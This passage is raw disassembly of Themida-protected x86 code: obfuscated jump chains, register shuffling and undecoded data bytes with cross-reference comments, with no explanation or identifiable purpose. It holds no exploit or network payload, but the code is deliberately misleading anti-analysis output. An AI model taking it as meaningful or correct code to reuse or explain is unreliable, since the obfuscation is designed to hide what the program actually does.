0B6C5E904h, 2C89FFFFh dd 8758E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5632F6: ; CODE XREF: Themida_:0056210Cj neg bh xor bh, 8Ch jmp loc_5673A3 ; --------------------------------------------------------------------------- loc_563300: ; CODE XREF: Themida_:00560F17j mov esi, ebp pop ebp shl esi, 2 xor esi, 13AB1761h jmp loc_556290 ; --------------------------------------------------------------------------- loc_563311: ; CODE XREF: Themida_:005535EAj add edx, eax pop eax jmp loc_5676C0 ; --------------------------------------------------------------------------- db 5, 8Eh, 9 dd 0B6E90BE8h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563323: ; CODE XREF: Themida_:0055E1D7j inc eax xor eax, 4D1178F2h and eax, 15F5090h jmp loc_559B43 ; --------------------------------------------------------------------------- db 8Bh dd 0E9522424h, 2812h, 4BBh, 0FFDE0100h, 0E95B2434h, 0FFFFC468h ; --------------------------------------------------------------------------- loc_56334C: ; CODE XREF: Themida_:00567B73j mov dh, 2Ah or cl, dh pop edx jmp loc_55A29A ; --------------------------------------------------------------------------- loc_563356: ; CODE XREF: Themida_:00556CB9j add esi, 0AF19ED48h mov eax, esi pop esi jmp loc_55CAAC ; --------------------------------------------------------------------------- loc_563364: ; CODE XREF: Themida_:00556621j pop ebx sub ebx, 12614DA3h add ebx, edx add ebx, 12614DA3h mov edx, [esp] add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_55BD9F ; --------------------------------------------------------------------------- db 81h dd 550175C2h, 0E7EA8164h, 816EFAC4h, 7055D4EEh, 45EE8153h dd 1407733h, 45C681D6h, 0E9407733h, 0FFFF70A8h, 0FC6FE952h dd 2489FFFFh, 24048124h, 4, 40558h, 0E8830000h, 24048702h dd 0C89665Ch, 2CACB524h, 4E82810h, 68596610h, 174Bh, 54241489h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55C49D ; --------------------------------------------------------------------------- align 4 dd 7E41E9D8h, 4B9FFFFh, 0E9000000h, 0FFFFE1D1h, 5F2434FFh dd 21C5E9h db 0 ; --------------------------------------------------------------------------- loc_56340D: ; CODE XREF: Themida_:00558A0Dj pop edi add esp, 4 add ecx, 2142420Ch sub ecx, edi sub ecx, 2142420Ch mov edi, ecx pop ecx shl edi, 4 push ebx mov ebx, 3EEF32ECh sub edi, ebx mov ebx, [esp] jmp loc_565D39 ; --------------------------------------------------------------------------- loc_563438: ; CODE XREF: Themida_:00553335j add ebp, 7965778Fh pop eax push edi push eax push edx jmp loc_556768 ; --------------------------------------------------------------------------- loc_563447: ; CODE XREF: Themida_:00553984j pop ecx sub cl, 36h xor ah, cl pop ecx add dl, 0CCh sub dl, ah sub dl, 0CCh pop eax jmp loc_55D03E ; --------------------------------------------------------------------------- dd 0DC9DE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563462: ; CODE XREF: Themida_:00566B25j xor al, cl push dword ptr [esp] pop ecx jmp loc_557AF5 ; --------------------------------------------------------------------------- loc_56346D: ; CODE XREF: Themida_:00561BCFj dec ch inc ch jmp loc_567177 ; --------------------------------------------------------------------------- dw 1C87h dd 6E95C24h, 5BFFFF9Ah, 15EF501h, 0B0ED81CDh, 0E90CB11Dh dd 0FFFF41E1h, 8104E7C1h, 0AFAF74F7h, 55E95723h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56349F: ; CODE XREF: Themida_:005571CAj add eax, esi pop esi sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5627EB ; --------------------------------------------------------------------------- dw 489h dd 51F8B424h, 0CF8877B1h, 0FFEE5CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5634C1: ; CODE XREF: Themida_:00564732j mov edi, ebp jmp loc_5605E3 ; --------------------------------------------------------------------------- loc_5634C8: ; CODE XREF: Themida_:00561C2Aj mov cx, [esp] jmp loc_553E66 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0C0h dd 8129B51Fh, 0F7348FCBh, 0F36E945h, 0C701FFFFh, 0D095E958h dd 815AFFFFh, 7F1B60EBh, 4BC3815Ch, 0E90BE464h, 0FFFF97A8h dd 81240C8Bh, 4C4h, 4C78100h, 0E9000000h, 0FFFFD7F9h, 2E88EA81h dd 0EBE96A03h, 0B6FFFF38h, 0F6C6FE1Fh, 20C680D6h, 805AF128h dd 0E9805DE1h, 5BE18025h, 3097E980h, 240C8BCCh, 4C481h dd 0EC830000h, 241C8904h, 0FF9396E9h db 0FFh ; --------------------------------------------------------------------------- loc_563549: ; CODE XREF: Themida_:00558F41j mov edi, esp jmp loc_563F28 ; --------------------------------------------------------------------------- dd 4C481h, 0B8350000h, 8B426F65h, 0EC81242Ch, 4, 89241C89h dd 0B8BF57E3h, 47108F17h, 0FFB897E9h, 241433FFh, 0FF8BE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56357D: ; CODE XREF: Themida_:00560C9Fj xor edi, [esp] pop esp push small word ptr [eax] jmp loc_5527FE ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C6h dd 265C6A59h, 0FFA639E9h, 0C12158FFh, 8124048Bh, 4C4h dd 3E1C100h, 5DC181h, 0F1814245h, 6F67EAh, 0FF9375E9h dd 90C381FFh, 5A52DB1Bh, 0FF46BBE9h, 241CF7FFh, 0F234E99Ch dd 0C33FFFEh, 0B571E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635D2: ; CODE XREF: Themida_:0055BD2Bj push 6DB0h mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_55D4E4 ; --------------------------------------------------------------------------- loc_5635E9: ; CODE XREF: Themida_:0055CBD0j add eax, 9B7F3378h sub edi, eax pop eax jmp loc_55BC08 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 14870000h, 3C8B5C24h, 4C48324h, 5C33C781h dd 68E91338h, 0BDFFFF71h, 7398024Fh, 741C7FB8h, 5DE83102h dd 0A6618105h, 58C129F8h, 0E924348Bh, 0B90h, 0E932FF64h dd 0FFFEF1C2h, 6B2C59h, 536B04C8h, 0D8004AB3h, 0FEF9E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56364D: ; CODE XREF: Themida_:005580BEj xor esi, 6D1E6E6Fh add esi, 3D67D11Bh mov ebp, esi pop esi push esi mov esi, 70345E2Ch or ebp, esi pop esi jmp loc_559031 ; --------------------------------------------------------------------------- dw 0CBBAh dd 81628B2Fh, 8B2FCFF2h, 135F0562h, 0FE057BBAh, 0E924C72Eh dd 0FFFF2D55h, 4EC81h, 3C890000h, 3E1E6824h, 535F6670h dd 0B745D268h, 0A5E95B3Ch, 81FFFFB3h, 4C3h, 4EB8300h, 5C241C87h dd 0E9240489h, 0FFFF6A93h, 8B1C4F09h, 8268240Ch, 89000028h dd 0E6892434h, 4B951h, 0CE010000h, 125CE9h db 0 ; --------------------------------------------------------------------------- loc_5636D1: ; CODE XREF: Themida_:00559F39j push ecx push edx mov edx, 1A544A26h push eax mov eax, edx mov ecx, eax jmp loc_5580D3 ; --------------------------------------------------------------------------- dw 0EB81h dd 4, 2474FF53h, 48F5B04h, 1C895C24h, 42685624h, 8900007Ch dd 4832424h, 505E0424h, 4B8h, 58C60100h, 4EE81h, 34870000h dd 2633E924h, 5453FFFFh, 1262E9h, 44A4B800h, 0AABF67E7h dd 1D04D36h, 24048BC7h, 0B804C483h, 457C95D4h, 361DF32Dh dd 0E9F80160h, 0FFFFAAA8h ; --------------------------------------------------------------------------- loc_563744: ; CODE XREF: Themida_:00559310j mov al, 0C7h xor cl, al mov eax, [esp] add esp, 4 jmp loc_554F4D ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFF7670h ; --------------------------------------------------------------------------- loc_56375C: ; CODE XREF: Themida_:0055FCDEj pop edi pop dword ptr [esp] push eax jmp loc_555A5C ; --------------------------------------------------------------------------- dw 48Fh dd 24048324h, 24048F04h, 61D068h, 0FA22E900h, 0EC81FFFEh dd 2, 0FFCB7EE9h, 0BE95DFFh, 80FFFF23h, 0E5E957C6h, 83FFFF34h dd 0EC8102C4h, 4, 89241C89h, 0A388E9E3h, 1489FFFFh, 81E28924h dd 4C2h, 46E95600h, 87FFFF65h, 0B0E9243Ch db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5637BF: ; CODE XREF: Themida_:0055A2E3j mov ebx, 0FFFFFFFFh sub esi, ebx pop ebx sub esp, 4 mov [esp], edi mov edi, 6A284AA6h jmp loc_559131 ; --------------------------------------------------------------------------- db 68h dd 6AD8h, 54242C89h, 0E9242C8Bh, 0FFFF50B9h ; --------------------------------------------------------------------------- loc_5637E8: ; CODE XREF: Themida_:0055C99Bj mov esi, [esp] push edx mov edx, esp jmp loc_563BE0 ; --------------------------------------------------------------------------- db 59h dd 0FF8E17E9h, 241489FFh, 0FF6152E9h db 0FFh ; --------------------------------------------------------------------------- loc_563801: ; CODE XREF: Themida_:0055F42Bj pop esi pop edx add esi, 1 push edi push edx mov edx, 19A46747h xor edx, 4CD90C56h xor edx, 29754CDDh mov edi, edx jmp loc_557991 ; --------------------------------------------------------------------------- loc_563823: ; CODE XREF: Themida_:00563854j pop edx shl esi, 7 push edi mov edi, 72F64B75h sub esp, 4 mov [esp], ebx mov ebx, 50353E84h add ebx, 0FFFFFFFFh push ebx jmp loc_5590EE ; --------------------------------------------------------------------------- dd 0E9D0F795h, 410Ch ; --------------------------------------------------------------------------- loc_56384C: ; CODE XREF: Themida_:00558720j push edx mov edx, 53270026h xor esi, edx jmp loc_563823 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4B85000h, 29000000h, 0C8758C1h, 1C895C24h, 93E95224h dd 89FFFF37h, 0E0892404h, 0FEFBB3E9h, 242C89FFh, 5753E589h dd 2C085468h, 0A2E95F5Ch, 0D3FFFEEFh, 0E99C2424h, 0FFFEEF62h dd 2904C483h, 60C381F3h, 0FF5E4F19h, 348B2434h, 4C48324h dd 0FF6A05E9h, 242C89FFh, 0FFCBDBE9h, 81F201FFh, 9D0E8EC2h dd 2434FF1Fh, 0E689565Eh, 4C681h, 0C6810000h, 4, 5C243487h dd 0FFD806E9h db 0FFh ; --------------------------------------------------------------------------- loc_5638E1: ; CODE XREF: Themida_:0055E312j mov [esp], ebx push ebp push 772A0667h pop ebp jmp loc_556731 ; --------------------------------------------------------------------------- dd 0A7553C2Dh, 5F80141h, 41A7553Ch, 0FEF36CE9h, 4C483FFh dd 75EFEA81h, 0F7E91B88h db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56390F: ; CODE XREF: Themida_:00554D3Dj add esp, 4 jmp loc_56085A ; --------------------------------------------------------------------------- loc_563917: ; CODE XREF: Themida_:00563242j xor ecx, [esp] pop esp sub dword ptr [esp], 7256331Dh jmp loc_5527FE ; --------------------------------------------------------------------------- loc_563927: ; CODE XREF: Themida_:0055771Bj add edi, ebp add edi, 6F5736F2h pop ebp add edi, 2 xchg edi, [esp] pop esp jmp loc_55CE06 ; --------------------------------------------------------------------------- db 88h dd 0CB885BF9h, 592434FFh, 0E9E38953h, 0FFFEF917h, 0E9240C89h dd 0FFFFE402h, 0FE58E330h, 14F653CBh, 54E95B24h, 0F7FFFFEFh dd 1C8B2414h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 7C79685Ch, 0C890000h, 776FB924h, 6850533Ah, 6ECB6197h dd 0FF7BE9E9h, 6E7C1FFh, 4A67E781h, 0F7811FD8h, 3F273D8Fh dd 0D4A4EF81h, 3EE9F0EAh, 59FFFFE4h, 5004C483h, 12006851h dd 0E9593E47h, 0FFFFBF43h, 4C281h, 14330000h, 24143124h dd 0FEEE95E9h, 4EBC1FFh, 1156B951h, 0CB2143CCh, 29EDE959h dd 57AD0000h, 261ACCBFh, 5FF82971h, 505768h, 240C8900h dd 33256852h, 0C890000h, 6918B924h, 1CBA6382h, 2980B9CFh dd 5E959CAh db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A0F: ; CODE XREF: Themida_:0055CB8Cj push ecx mov ecx, 19827D43h shl ecx, 5 jmp loc_553D82 ; --------------------------------------------------------------------------- loc_563A1D: ; CODE XREF: Themida_:0055299Aj sub [esp+4], edi sub dword ptr [esp+4], 4F41212Bh jmp loc_55F102 ; --------------------------------------------------------------------------- dw 0C380h dd 80EB2805h, 0EEE905EBh, 0FFFFEAh, 5B5E04D8h, 0FF180DE9h dd 243C87FFh, 0FF925FE9h, 0A3CFB8FFh, 0C531433Ah, 0EFE98158h dd 2957B222h, 0EFC181E9h, 5D57B222h, 0E959CE01h, 0FFFFDED8h dd 1643EE81h, 875A7A92h, 0E95C2434h, 393Bh ; --------------------------------------------------------------------------- loc_563A7C: ; CODE XREF: Themida_:0056404Fj push ebp push 35C13B7Bh push dword ptr [esp] pop ebp add esp, 4 push 4D7Bh mov [esp], ecx push ebp jmp loc_565A82 ; --------------------------------------------------------------------------- db 89h dd 0DFE92434h, 89FFFEF7h, 0DA0159CBh, 0FF6073E9h, 0E9575BFFh dd 0FFFF7C70h ; --------------------------------------------------------------------------- loc_563AB0: ; CODE XREF: Themida_:00558380j mov [esp], esi jmp loc_5608E9 ; --------------------------------------------------------------------------- dd 24048156h, 1B8875EFh, 0FFF558E9h, 5BDD29FFh, 5C242C87h dd 89240C89h, 4C181E1h, 0E9000000h, 2C5h, 50B4EA80h, 86E978B0h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AE7: ; CODE XREF: Themida_:0056198Fj xor edx, 7FBE3D21h sub edx, 5D9204Dh sub edx, 62A34D67h push edi mov edi, 45A97899h jmp loc_554BD5 ; --------------------------------------------------------------------------- dd 0EBBD5558h, 0E9140D07h, 0A13h ; --------------------------------------------------------------------------- loc_563B10: ; CODE XREF: Themida_:00567AD3j pop ebp jmp loc_5606A8 ; --------------------------------------------------------------------------- dw 0B4B8h dd 0BB38F33Eh, 0C70CC150h, 0E958C301h, 0FFFF2F14h ; --------------------------------------------------------------------------- loc_563B28: ; CODE XREF: Themida_:00566735j push 76EBh jmp loc_55AE96 ; --------------------------------------------------------------------------- loc_563B32: ; CODE XREF: Themida_:005605D6j mov si, [esp] jmp loc_55D936 ; --------------------------------------------------------------------------- db 5Bh dd 4E7FC381h, 81431E73h, 5F7374C3h, 5BDA893Bh, 0E96F281h dd 0FB6821F1h, 89000004h, 0BF572434h, 76227F95h, 0F7E9FE89h dd 53FFFF0Ch, 0C381E389h, 4, 0FFFB6DE9h, 4EC81FFh, 89000000h dd 0BF682414h, 8900007Ah, 0B353240Ch, 80C3FE32h, 0CBFE00F3h dd 5008EBC0h, 0C4FE4EB4h, 803AF480h, 0E30019C4h, 5BD98858h dd 0C68D1F6h, 8900007Ch, 4EB42404h, 0EC80D4F6h, 70EC80C8h dd 286CF480h, 0CA8858E1h, 0FFA8C4E9h, 241C8BFFh, 0E904C483h dd 0FFFFC60Fh ; --------------------------------------------------------------------------- loc_563BD0: ; CODE XREF: Themida_:00557DBAj pop ebx push 2302h mov [esp], ecx mov ch, 6Ah jmp loc_56276A ; --------------------------------------------------------------------------- loc_563BE0: ; CODE XREF: Themida_:005637EEj add edx, 4 sub esp, 4 mov [esp], ebx mov ebx, 7F5A2468h jmp loc_558466 ; --------------------------------------------------------------------------- loc_563BF9: ; CODE XREF: Themida_:00553A6Ej pop ecx add esp, 4 jmp loc_562F28 ; --------------------------------------------------------------------------- db 89h, 0CAh, 8Bh dd 0C481240Ch, 4, 0E7792705h, 2DD00179h, 79E77927h, 4EC815Ah dd 89000000h, 63BB241Ch, 8175521Bh, 0B962CECBh, 0EB814353h dd 40E70E7Ah, 0FFFFEB81h, 0F381FFFFh, 37146D73h, 0FF60E6E9h dd 2434FFFFh, 4C48358h, 0C1BF302Dh, 58C601FDh, 8704EE83h dd 0E95C2434h, 0FFFF9CDBh, 89240C89h, 6FABE9E1h, 9068FFFFh dd 89000011h, 68512404h, 67D921D3h, 31C18159h, 519826DEh dd 0FFDD5FE9h, 6CE95CFFh, 51FFFF8Dh, 0F076E568h, 240C8B2Dh dd 8304C483h, 48904ECh, 7D37E924h, 0C481FFFFh, 4, 278CE9h db 0 ; --------------------------------------------------------------------------- loc_563CB1: ; CODE XREF: Themida_:00561EF3j add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp push ecx mov ecx, esp jmp loc_566B8E ; --------------------------------------------------------------------------- loc_563CC6: ; CODE XREF: Themida_:005530F3j xor eax, [esp] jmp loc_556C0A ; --------------------------------------------------------------------------- loc_563CCE: ; CODE XREF: Themida_:0055AE15j mov edx, esp add edx, 4 jmp loc_564C26 ; --------------------------------------------------------------------------- loc_563CDB: ; CODE XREF: Themida_:00552949j push dword ptr [esp] pop eax push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5534F0 ; --------------------------------------------------------------------------- db 89h dd 4682434h, 5E000000h, 4244481h, 6E14094h, 4247401h, 4246C81h dd 6E14094h, 0EAE8E95Eh, 3C87FFFEh, 24248B24h, 5104C483h dd 163357B9h, 0EE7DE92Ah, 34FFFFFEh, 2434FF24h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx jmp loc_560C45 ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 0D3BEE95Ch, 215FFFFFh dd 0BF575AD1h, 203A6059h, 6A8668h, 0A7ADE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D86: ; CODE XREF: Themida_:0055516Fj mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_55299F ; --------------------------------------------------------------------------- db 0B4h, 33h, 80h dd 0E688ECF4h, 0FFBC9DE9h, 4E981FFh, 87000000h, 895C240Ch dd 8BE9241Ch db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563DB3: ; CODE XREF: Themida_:00556508j push edi mov edi, 38EC41B2h sub edi, 0FCC313D0h jmp loc_5618DA ; --------------------------------------------------------------------------- dd 58C6015Ch, 2D70BF57h, 0E7C179F3h, 14F75703h, 0CF875F24h dd 0FF9723E9h db 0FFh ; --------------------------------------------------------------------------- loc_563DDD: ; CODE XREF: Themida_:0055416Bj sub [esp], ebx sub dword ptr [esp], 30285D4Bh push dword ptr [esp] jmp loc_556427 ; --------------------------------------------------------------------------- db 5Ch dd 4EC8352h, 50240C89h, 0E188DC88h, 8124048Bh, 4C4h, 4BC2E900h dd 32FFFFFFh, 113AE9h, 44E95C00h, 81FFFF62h, 0A64063E9h dd 2CE98150h, 315BF254h, 0D33159CAh, 3389E95Ah, 8668FFFFh dd 89000029h, 0E0B42404h, 0FF1E1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_563E3D: ; CODE XREF: Themida_:00559DD9j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop edi push ebx mov ebx, 2 add eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_5527FE ; --------------------------------------------------------------------------- db 35h, 0D2h, 35h dd 7FE9541Ch db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E73: ; CODE XREF: Themida_:00566E87j add ebp, 3CAB4A29h add ebp, 1AECD153h add eax, ebp pop ebp jmp loc_564EA9 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 0E9A9E904h, 0BB53FFFEh, 4E7961D0h, 0EFC38143h dd 290CC90Ah, 241C8BDDh, 0E904C483h, 0FFFF5EE2h ; --------------------------------------------------------------------------- loc_563EAC: ; CODE XREF: Themida_:00559646j sub esp, 4 mov [esp], eax jmp loc_5679DE ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 4244481h, 711069EFh, 4245401h, 4246C81h, 711069EFh dd 0E924148Bh, 3909h, 67D1BE56h, 0E6C16EE6h, 0F0C68104h dd 0E9119982h, 0FFFF56AFh ; --------------------------------------------------------------------------- loc_563EF0: ; CODE XREF: Themida_:0055F5CDj dec edx xor edx, 0F61E58CAh mov edi, edx pop edx xor esi, edi push dword ptr [esp] pop edi jmp loc_5594BC ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0E9000000h, 0FFFF4B96h, 8424248Bh, 0DFE99CC8h dd 0C1FFFEE8h, 0E95307E3h, 0FFFFFA3Fh ; --------------------------------------------------------------------------- loc_563F28: ; CODE XREF: Themida_:0056354Bj push edx mov edx, 4 add edi, 29780347h push ecx jmp loc_5619C2 ; --------------------------------------------------------------------------- dw 555Ch dd 4BDh, 5DE90100h, 2C181h, 0C330000h, 240C3124h, 8B240C33h dd 0F662424h, 9C2404A3h, 0FEE89DE9h, 0B652ACFFh, 20E4E965h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563F6A: ; CODE XREF: Themida_:0055913Ej push dword ptr [esp] pop eax add esp, 4 add esp, 4 shr ecx, 0Ah push ebx push edx push 188Fh mov [esp], ebp mov ebp, 3F7815A7h jmp loc_556EC9 ; --------------------------------------------------------------------------- loc_563F8E: ; CODE XREF: Themida_:005620EBj push cx mov ch, 0C7h shr ch, 7 sub esp, 4 mov [esp], edx mov dl, 9Fh xor ch, dl mov edx, [esp] push 4944h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_558567 ; --------------------------------------------------------------------------- loc_563FBE: ; CODE XREF: Themida_:005652C3j mov [esp], edi mov edi, esp add edi, 4 push esi jmp loc_552C80 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 74FF5604h, 8F5E0424h, 0E95C2404h, 0FFFF9E52h dd 13E9028Fh, 89FFFEE8h, 0E954240Ch, 0FFFF9F9Bh, 9A268h dd 24048900h, 3868h, 4DDEE900h, 815AFFFFh, 4C4h, 24048F00h dd 0FF4EC5E9h, 5BDD01FFh, 585D68h, 24348900h, 0D82026BEh dd 0E005E957h, 348BFFFFh, 8BE95724h, 0B8FFFF4Ch, 4963136Dh dd 1F8BE948h, 14870000h, 4895C24h, 0E9526624h, 0FFFFB009h ; --------------------------------------------------------------------------- loc_56404C: ; CODE XREF: Themida_:00553C28j mov [esp], ebx jmp loc_563A7C ; --------------------------------------------------------------------------- loc_564054: ; CODE XREF: Themida_:00561635j and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 shr eax, 0Eh xor eax, ecx xchg eax, ecx sub esp, 4 jmp loc_558F72 ; --------------------------------------------------------------------------- loc_564070: ; CODE XREF: Themida_:005617F3j mov ebx, [esp] jmp loc_559FA2 ; --------------------------------------------------------------------------- loc_564078: ; CODE XREF: Themida_:005596EDj pop edx push eax mov eax, 0C5859A09h jmp loc_5561ED ; --------------------------------------------------------------------------- dd 0D8F7D8F7h, 969F9E05h, 58C601EEh, 50685157h, 5904B130h dd 0D00E981h, 0AEE9AE95h, 81FFFFAAh, 4C1h, 240C8700h, 8F24248Bh dd 0E95C2404h, 0FFFF718Ah ; --------------------------------------------------------------------------- loc_5640B8: ; CODE XREF: Themida_:00560E52j mov ebx, 200000h and eax, ebx push dword ptr [esp] pop ebx jmp loc_55BBF4 ; --------------------------------------------------------------------------- dd 36B9E952h, 405FFFFh, 0E9000000h, 0FFFF08D3h, 83241C8Bh dd 0BD5504C4h, 503C1A7Ch, 0F581DDF7h, 0AFC3E580h, 815DEB01h dd 4ECh, 1225E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5640FA: ; CODE XREF: Themida_:0055B3A7j pop esp mov [esp], ecx push 55F7h mov [esp], eax jmp loc_55CDC1 ; --------------------------------------------------------------------------- db 50h dd 0FF2ABAE9h db 0FFh ; --------------------------------------------------------------------------- loc_564111: ; CODE XREF: Themida_:0055A3D4j push 65BEh mov [esp], ebx jmp loc_5573CF ; --------------------------------------------------------------------------- dw 0C181h dd 55CDA932h, 8359CA01h, 0FF5202C2h, 5A042474h, 0FF1D6AE9h dd 241489FFh, 104201BAh, 8BD1311Ah, 0C4812414h, 4, 5359C801h dd 8904EC83h, 4BA2414h, 89000000h, 2434FFD3h, 4C4835Ah dd 0FF724EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564165: ; CODE XREF: Themida_:0055F5D3j pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_557FA2 ; --------------------------------------------------------------------------- loc_56417A: ; CODE XREF: Themida_:00560493j pop ecx mov ch, dl jmp loc_558B8D ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835A24h, 4BF5704h, 0E9000000h, 787h ; --------------------------------------------------------------------------- loc_564194: ; CODE XREF: Themida_:00567B60j add edx, 37D9311h jmp loc_55E599 ; --------------------------------------------------------------------------- db 0C1h dd 0E18102E9h, 36D23065h, 874AD187h, 0FCE981D1h, 112120Fh dd 0C68159CEh, 4, 0E9243433h, 0FFFFE48Fh, 8104C483h, 0C10317E9h dd 81C12921h, 0C10317C1h, 2434FF21h, 0BD45E958h, 1431FFFFh dd 24143324h, 0FF6682E9h, 2434FFFFh, 582434FFh, 2C0C6853h dd 24890000h, 24048124h, 4, 0CDDAE95Bh, 0E95CFFFFh, 0FFFF5C17h dd 9C76BCBFh, 2E7C13Bh, 1C4FCF81h, 0EF835712h, 0F7DF8701h dd 50DF87D3h, 9D5C45B8h, 0EAE95753h, 100000Ch, 8104245Ch dd 0E704246Ch, 0E942D757h, 0FFFF8C4Dh, 5D4FC181h, 0E901253Dh dd 71C768h, 24348900h, 0FFAFEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_564255: ; CODE XREF: Themida_:0055B6A9j add eax, ecx sub eax, 42A406F9h add eax, 4A0E33C7h jmp loc_55ABBE ; --------------------------------------------------------------------------- dw 0B951h dd 247244DBh, 2A9BC981h, 0E981392Bh, 2D9E74F5h, 206CE981h dd 0E1C15240h, 0F3C98107h, 8158096Bh, 0F7DC6C1h, 50D3E98Ch dd 0C33FFFFh, 2690E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56429A: ; CODE XREF: Themida_:005592CBj push dword ptr [eax] xor dword ptr [esp], 72F663ACh jmp loc_55E834 ; --------------------------------------------------------------------------- dd 0EC80ECD0h, 0E2885213h, 8B5AD188h, 0C4832404h, 59CE0004h dd 3297E9h, 0E9DDB700h, 0FFFF335Dh ; --------------------------------------------------------------------------- loc_5642C8: ; CODE XREF: Themida_:0055DE6Fj mov edi, ebp jmp loc_55BD18 ; --------------------------------------------------------------------------- loc_5642CF: ; CODE XREF: Themida_:0055F020j add esi, 2307EA36h mov edx, esi pop esi mov edi, 0F03ECC7h add edi, edx pop edx push edx push edi add dword ptr [esp], 71635FDFh jmp loc_55DD2E ; --------------------------------------------------------------------------- loc_5642EE: ; CODE XREF: Themida_:0056208Dj add ch, 14h push 2BF8h mov [esp], ebx jmp loc_564496 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 5C240C87h, 10A5E9h, 6EC2D00h, 0D82965BEh, 0BE06EC05h dd 4EC8365h, 0E9241C89h, 0FFFF3458h, 456A5ABDh, 5FFD011Fh dd 7E656CBFh, 5DEF31C0h, 555FF901h, 2437B6BDh, 45DDF740h dd 38A9E955h, 248BFFFFh, 4C38124h, 87000000h, 248B241Ch dd 24040924h, 0E4A0E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56435E: ; CODE XREF: Themida_:00555DB6j ; Themida_:005606A3j ... push 636Ah mov [esp], esi mov esi, ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi jmp loc_55AD8C ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 0C1BF5756h, 0E9561B2Ah, 0FFFFCF1Ah ; --------------------------------------------------------------------------- loc_564398: ; CODE XREF: Themida_:0055C8F3j pop ecx pop dword ptr [esp] pop esp mov [esp], esi push esp jmp loc_55AA50 ; --------------------------------------------------------------------------- loc_5643A6: ; CODE XREF: Themida_:0055D68Dj mov [esp], ebx mov bl, 0BBh xor ch, bl mov ebx, [esp] jmp loc_564DC9 ; --------------------------------------------------------------------------- db 45h, 81h, 0C5h dd 3CA4268h, 0FFB97EE9h, 1A3068FFh, 4890000h, 0C7BB5324h dd 0E92C167Bh, 0FFFF1ADEh, 4BBh, 357E900h, 1489FFFFh, 347DBA24h dd 0EA813E96h, 10517138h, 7C58CA81h, 0DAF715C1h, 1949F281h dd 0D729E48Ah, 5FFA295Ah, 24143358h, 33241431h, 248B2414h dd 6A1A6824h, 4890000h, 771DE924h, 0D787FFFFh, 0C6C78147h dd 81802C84h, 0DF7B68C5h, 81FD0149h, 0DF7B68EDh, 0E2685F49h dd 89000011h, 0B9512434h, 0D126A0Dh, 0BBE9D1F7h, 5FFFFFA2h dd 0E92434FFh, 0FFFFA391h, 240C8B66h, 81E18951h, 4C1h dd 4E98100h, 87000000h, 248B240Ch, 0FB7DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56446E: ; CODE XREF: Themida_:0055DD56j mov [esp], ebp mov ebp, 800h push ebp push dword ptr [esp] pop edi add esp, 4 pop ebp and ecx, edi mov edi, [esp] jmp loc_55E5A1 ; --------------------------------------------------------------------------- db 0C0h, 0EBh, 3 dd 0E380CBFEh, 0DA7EE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564496: ; CODE XREF: Themida_:005642F9j push 5229h mov [esp], eax push ecx mov cl, 0A9h mov al, cl jmp loc_560FCB ; --------------------------------------------------------------------------- loc_5644A8: ; CODE XREF: Themida_:00558D45j and ebx, 297C261Ah xor ebx, 2950040Ah jmp loc_5650BD ; --------------------------------------------------------------------------- db 0Dh, 